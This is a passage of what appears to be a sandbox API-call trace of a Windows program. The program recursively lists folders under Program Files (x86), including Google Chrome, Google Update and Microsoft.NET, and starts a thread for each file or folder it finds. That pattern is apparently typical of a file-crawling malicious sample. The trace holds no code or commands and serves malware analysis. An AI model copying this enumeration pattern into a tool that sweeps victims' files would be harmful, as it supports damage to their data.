	[0077.016] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2e16240 | out: lpFindFileData=0x2e16240*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0
	[0077.016] FindClose (in: hFindFile=0x2d71540 | out: hFindFile=0x2d71540) returned 1
	[0077.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e16240) returned 1
	[0077.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77540) returned 1
	[0077.016] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d778a0) returned 1

Thread:
	id = 284
	os_tid = 0xfc0

	[0076.811] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4733a08
	[0076.811] wcscpy (in: _Dest=0x4733a08, _Source="C:\\Program Files (x86)\\Common Files\\Services" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services"
	[0076.811] wcscat (in: _Dest=0x4733a08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\") returned="C:\\Program Files (x86)\\Common Files\\Services\\"
	[0076.811] wcscat (in: _Dest=0x4733a08, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\*") returned="C:\\Program Files (x86)\\Common Files\\Services\\*"
	[0076.811] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e164a8
	[0076.811] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x2e164a8 | out: lpFindFileData=0x2e164a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ebb45, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2daccf8
	[0078.698] wcscmp (_String1=".", _String2=".") returned 0
	[0078.698] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x2e164a8 | out: lpFindFileData=0x2e164a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ebb45, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.698] wcscmp (_String1="..", _String2=".") returned 1
	[0078.698] wcscmp (_String1="..", _String2="..") returned 0
	[0078.698] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x2e164a8 | out: lpFindFileData=0x2e164a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1
	[0078.698] wcscmp (_String1="verisign.bmp", _String2=".") returned 1
	[0078.698] wcscmp (_String1="verisign.bmp", _String2="..") returned 1
	[0078.698] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bc910
	[0078.698] wcscpy (in: _Dest=0x47bc910, _Source="C:\\Program Files (x86)\\Common Files\\Services" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services"
	[0078.698] wcscat (in: _Dest=0x47bc910, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\") returned="C:\\Program Files (x86)\\Common Files\\Services\\"
	[0078.698] wcscat (in: _Dest=0x47bc910, _Source="verisign.bmp" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp"
	[0078.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bc910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc
	[0078.813] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x2e164a8 | out: lpFindFileData=0x2e164a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0
	[0078.813] FindClose (in: hFindFile=0x2daccf8 | out: hFindFile=0x2daccf8) returned 1
	[0078.813] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e164a8) returned 1
	[0078.813] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733a08) returned 1
	[0078.813] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47338d0) returned 1

Thread:
	id = 285
	os_tid = 0xfb8

	[0076.811] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2dac370
	[0076.811] wcscpy (in: _Dest=0x2dac370, _Source="C:\\Program Files (x86)\\Google\\Chrome" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome"
	[0076.811] wcscat (in: _Dest=0x2dac370, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\"
	[0076.811] wcscat (in: _Dest=0x2dac370, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\*"
	[0076.811] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e14560
	[0076.812] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x2e14560 | out: lpFindFileData=0x2e14560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07d7559, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2daccb8
	[0076.812] wcscmp (_String1=".", _String2=".") returned 0
	[0076.812] FindNextFileW (in: hFindFile=0x2daccb8, lpFindFileData=0x2e14560 | out: lpFindFileData=0x2e14560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe07d7559, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4cfb9d0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4cfb9d0, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.812] wcscmp (_String1="..", _String2=".") returned 1
	[0076.812] wcscmp (_String1="..", _String2="..") returned 0
	[0076.812] FindNextFileW (in: hFindFile=0x2daccb8, lpFindFileData=0x2e14560 | out: lpFindFileData=0x2e14560*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 1
	[0076.812] wcscmp (_String1="Application", _String2=".") returned 1
	[0076.812] wcscmp (_String1="Application", _String2="..") returned 1
	[0076.812] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2e17f18
	[0076.812] wcscpy (in: _Dest=0x2e17f18, _Source="C:\\Program Files (x86)\\Google\\Chrome" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome"
	[0076.812] wcscat (in: _Dest=0x2e17f18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\"
	[0076.812] wcscat (in: _Dest=0x2e17f18, _Source="Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application"
	[0077.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e17f18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28
	[0077.015] FindNextFileW (in: hFindFile=0x2daccb8, lpFindFileData=0x2e14560 | out: lpFindFileData=0x2e14560*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbbac738, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe4bca716, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application", cAlternateFileName="APPLIC~1")) returned 0
	[0077.015] FindClose (in: hFindFile=0x2daccb8 | out: hFindFile=0x2daccb8) returned 1
	[0077.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e14560) returned 1
	[0077.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac370) returned 1
	[0077.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85e40) returned 1

Thread:
	id = 286
	os_tid = 0xfb0

	[0076.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4733a70
	[0076.813] wcscpy (in: _Dest=0x4733a70, _Source="C:\\Program Files (x86)\\Google\\CrashReports" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports") returned="C:\\Program Files (x86)\\Google\\CrashReports"
	[0076.813] wcscat (in: _Dest=0x4733a70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports\\") returned="C:\\Program Files (x86)\\Google\\CrashReports\\"
	[0076.813] wcscat (in: _Dest=0x4733a70, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports\\*") returned="C:\\Program Files (x86)\\Google\\CrashReports\\*"
	[0076.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e16710
	[0076.813] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac878
	[0076.813] wcscmp (_String1=".", _String2=".") returned 0
	[0076.813] FindNextFileW (in: hFindFile=0x2dac878, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.814] wcscmp (_String1="..", _String2=".") returned 1
	[0076.814] wcscmp (_String1="..", _String2="..") returned 0
	[0076.814] FindNextFileW (in: hFindFile=0x2dac878, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc5e5a66, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbf7b2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcc5e5a66, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0076.814] FindClose (in: hFindFile=0x2dac878 | out: hFindFile=0x2dac878) returned 1
	[0076.814] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e16710) returned 1
	[0076.814] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733a70) returned 1
	[0076.814] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77900) returned 1

Thread:
	id = 287
	os_tid = 0xf9c

	[0076.815] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dac630
	[0076.815] wcscpy (in: _Dest=0x2dac630, _Source="C:\\Program Files (x86)\\Google\\Update2" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2") returned="C:\\Program Files (x86)\\Google\\Update2"
	[0076.815] wcscat (in: _Dest=0x2dac630, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\") returned="C:\\Program Files (x86)\\Google\\Update2\\"
	[0076.815] wcscat (in: _Dest=0x2dac630, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\*") returned="C:\\Program Files (x86)\\Google\\Update2\\*"
	[0076.815] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e16710
	[0076.815] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Update2\\*", lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad078
	[0077.763] wcscmp (_String1=".", _String2=".") returned 0
	[0077.763] FindNextFileW (in: hFindFile=0x2dad078, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xbbfd0b02, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcda0384e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.763] wcscmp (_String1="..", _String2=".") returned 1
	[0077.763] wcscmp (_String1="..", _String2="..") returned 0
	[0077.763] FindNextFileW (in: hFindFile=0x2dad078, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc631f07, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc7d58e1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.3.33.5", cAlternateFileName="1333~1.5")) returned 1
	[0077.763] wcscmp (_String1="1.3.33.5", _String2=".") returned 1
	[0077.763] wcscmp (_String1="1.3.33.5", _String2="..") returned 1
	[0077.763] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4734290
	[0077.763] wcscpy (in: _Dest=0x4734290, _Source="C:\\Program Files (x86)\\Google\\Update2" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2") returned="C:\\Program Files (x86)\\Google\\Update2"
	[0077.763] wcscat (in: _Dest=0x4734290, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\") returned="C:\\Program Files (x86)\\Google\\Update2\\"
	[0077.763] wcscat (in: _Dest=0x4734290, _Source="1.3.33.5" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5") returned="C:\\Program Files (x86)\\Google\\Update2\\1.3.33.5"
	[0077.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4734290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440
	[0077.764] FindNextFileW (in: hFindFile=0x2dad078, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcda0384e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xdfd42df1, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Download", cAlternateFileName="")) returned 1
	[0077.764] wcscmp (_String1="Download", _String2=".") returned 1
	[0077.764] wcscmp (_String1="Download", _String2="..") returned 1
	[0077.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x2d79fd0
	[0077.764] wcscpy (in: _Dest=0x2d79fd0, _Source="C:\\Program Files (x86)\\Google\\Update2" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2") returned="C:\\Program Files (x86)\\Google\\Update2"
	[0077.764] wcscat (in: _Dest=0x2d79fd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\") returned="C:\\Program Files (x86)\\Google\\Update2\\"
	[0077.764] wcscat (in: _Dest=0x2d79fd0, _Source="Download" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Download") returned="C:\\Program Files (x86)\\Google\\Update2\\Download"
	[0077.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d79fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8
	[0077.765] FindNextFileW (in: hFindFile=0x2dad078, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x25650, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdate.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1
	[0077.765] wcscmp (_String1="GoogleUpdate.exe", _String2=".") returned 1
	[0077.765] wcscmp (_String1="GoogleUpdate.exe", _String2="..") returned 1
	[0077.765] FindNextFileW (in: hFindFile=0x2dad078, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Install", cAlternateFileName="")) returned 1
	[0077.765] wcscmp (_String1="Install", _String2=".") returned 1
	[0077.765] wcscmp (_String1="Install", _String2="..") returned 1
	[0077.765] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x2d7a038
	[0077.765] wcscpy (in: _Dest=0x2d7a038, _Source="C:\\Program Files (x86)\\Google\\Update2" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2") returned="C:\\Program Files (x86)\\Google\\Update2"
	[0077.765] wcscat (in: _Dest=0x2d7a038, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\") returned="C:\\Program Files (x86)\\Google\\Update2\\"
	[0077.765] wcscat (in: _Dest=0x2d7a038, _Source="Install" | out: _Dest="C:\\Program Files (x86)\\Google\\Update2\\Install") returned="C:\\Program Files (x86)\\Google\\Update2\\Install"
	[0077.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7a038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434
	[0077.766] FindNextFileW (in: hFindFile=0x2dad078, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcda0384e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe0122b4c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe0122b4c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Install", cAlternateFileName="")) returned 0
	[0077.766] FindClose (in: hFindFile=0x2dad078 | out: hFindFile=0x2dad078) returned 1
	[0077.766] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e16710) returned 1
	[0077.766] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac630) returned 1
	[0077.766] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85918) returned 1

Thread:
	id = 288
	os_tid = 0x12c0

	[0076.815] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x2d7b1e0
	[0076.815] wcscpy (in: _Dest=0x2d7b1e0, _Source="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies"
	[0076.815] wcscat (in: _Dest=0x2d7b1e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\"
	[0076.815] wcscat (in: _Dest=0x2d7b1e0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*"
	[0076.815] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e16978
	[0076.815] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xbc17eb24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4adfea18, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad0b8
	[0077.772] wcscmp (_String1=".", _String2=".") returned 0
	[0077.772] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xbc17eb24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4adfea18, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.772] wcscmp (_String1="..", _String2=".") returned 1
	[0077.772] wcscmp (_String1="..", _String2="..") returned 0
	[0077.772] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="adodb.dll", cAlternateFileName="")) returned 1
	[0077.773] wcscmp (_String1="adodb.dll", _String2=".") returned 1
	[0077.773] wcscmp (_String1="adodb.dll", _String2="..") returned 1
	[0077.773] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a238f8c, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x7a4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.mshtml.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0077.773] wcscmp (_String1="Microsoft.mshtml.dll", _String2=".") returned 1
	[0077.773] wcscmp (_String1="Microsoft.mshtml.dll", _String2="..") returned 1
	[0077.773] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a2ab773, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5440, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.stdformat.dll", cAlternateFileName="MICROS~2.DLL")) returned 1
	[0077.773] wcscmp (_String1="Microsoft.stdformat.dll", _String2=".") returned 1
	[0077.773] wcscmp (_String1="Microsoft.stdformat.dll", _String2="..") returned 1
